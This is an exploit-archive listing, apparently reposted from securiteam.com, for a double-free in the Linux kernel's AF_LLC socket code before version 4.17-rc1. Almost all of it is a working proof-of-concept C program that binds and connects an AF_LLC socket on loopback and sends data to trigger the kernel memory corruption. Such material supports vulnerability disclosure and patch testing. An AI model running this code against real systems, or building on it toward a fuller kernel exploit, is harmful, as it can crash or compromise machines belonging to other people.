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Linux Kernel AF_LLC Double Free

Linux Kernel AF_LLC Double Free
Posted May 4, 2018
Site securiteam.com

Linux kernel versions prior to 4.17-rc1 AF_LLC double-free proof of concept code.

tags | exploit, kernel, proof of concept
systems | linux
MD5 | 95f7301c626e8fd16263bcf88239e2f7

Linux Kernel AF_LLC Double Free

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#define _GNU_SOURCE
#include <endian.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>

struct sockaddr_llc {
short sllc_family;
short sllc_arphrd;
unsigned char sllc_test;
unsigned char sllc_xid;
unsigned char sllc_ua;
unsigned char sllc_sap;
unsigned char sllc_mac[6];
unsigned char __pad[2];
};

void test()
{
int fd = socket(AF_LLC, SOCK_STREAM, 0);
char output[32] = "lo";
socklen_t len;
setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, &output, 0x10);
struct sockaddr_llc addr1 = {.sllc_family = AF_LLC, .sllc_sap = 2};
bind(fd, (const struct sockaddr *)&addr1, sizeof(struct sockaddr_llc));
struct sockaddr_llc addr2 = {.sllc_family = AF_LLC, .sllc_sap = 2};
connect(fd, (const struct sockaddr *)&addr2, sizeof(struct sockaddr_llc));

char msg[0x10] = "aaaa";
send(fd, msg, 0x10, 0);
}

int main()
{
test();
return 0;
}


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